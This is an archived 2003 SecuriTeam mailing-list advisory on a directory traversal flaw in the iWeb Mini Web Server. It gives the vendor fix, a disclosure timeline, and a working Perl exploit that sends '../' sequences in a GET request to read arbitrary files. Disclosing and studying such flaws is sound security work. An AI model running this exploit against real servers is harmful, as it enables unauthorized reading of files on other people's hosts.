[NT] iWeb Mini Web Server Remote Directory Traversal

From: support@securiteam.com
Date: 04/18/03

  • Next message: support@securiteam.com: "[EXPL] Local Exploit for Sendmail's prescan() Function"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 18 Apr 2003 12:12:18 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      iWeb Mini Web Server Remote Directory Traversal
    ------------------------------------------------------------------------

    SUMMARY

    The <A HREF="http://www.ashleybrown.co.uk/iweb/
    ">iWeb Mini Web Server is a "mini web server designed for use on Intranets
    and for testing websites in a realistic environment". It has been found
    that iWeb does not correctly filter GET requests for ../ characters
    thereby allowing us to escape the webroot and remotely traverse the
    directory structure of the remote host.

    DETAILS

    Solution:
    Upgrade to the latest version of iWeb available at:
     <http://ashleybrown.co.uk/downloads/iws2.exe>
    http://ashleybrown.co.uk/downloads/iws2.exe

    Exploit:
    #!/usr/bin/perl -w
    #
    # S e c u r i t y F r e a k s
    # www.securityfreaks.com
    #
    # iWeb Mini Web Server Remote Directory Traversal
    #
    # subversive[at]linuxmail.org - *15/04/2003*

    use IO::Socket;

    if(!$ARGV[0]) {
    print <<"IWEBSUK";

       S e c u r i t y F r e a k s
         www.securityfreaks.com

      -------------------------------------------------------------
      SF-iwsuk.pl - iWeb Mini Web Server Remote Directory Traversal
      -------------------------------------------------------------
      Usage: $0 <host> <file> <port>

    IWEBSUK
    exit;
    }

    else{
    $host = $ARGV[0];
    }

    if(!$ARGV[2]) {
    $port = "80";
    }

    else {
    $port = $ARGV[2];
    }

    my $sock = new IO::Socket::INET ( Proto => "tcp",
                                      PeerAddr => $host,
                                      PeerPort => $port,
                                    );
    die "\nConnection to $host:$port failed\n" unless $sock;

    print $sock "GET /../../../../../../../../../$ARGV[1] HTTP/1.0\n\n";
    while(<$sock>) { print }
    close($sock);
    print("\n\n");
    exit;

    Vendor Status:
    14/04/03 Initial Contact Made
    15/04/03 Vendor Responded
    15/04/03 Vendor Released Updated Version

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:subversive@linuxmail.org>
    subversive.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: support@securiteam.com: "[EXPL] Local Exploit for Sendmail's prescan() Function"

    Relevant Pages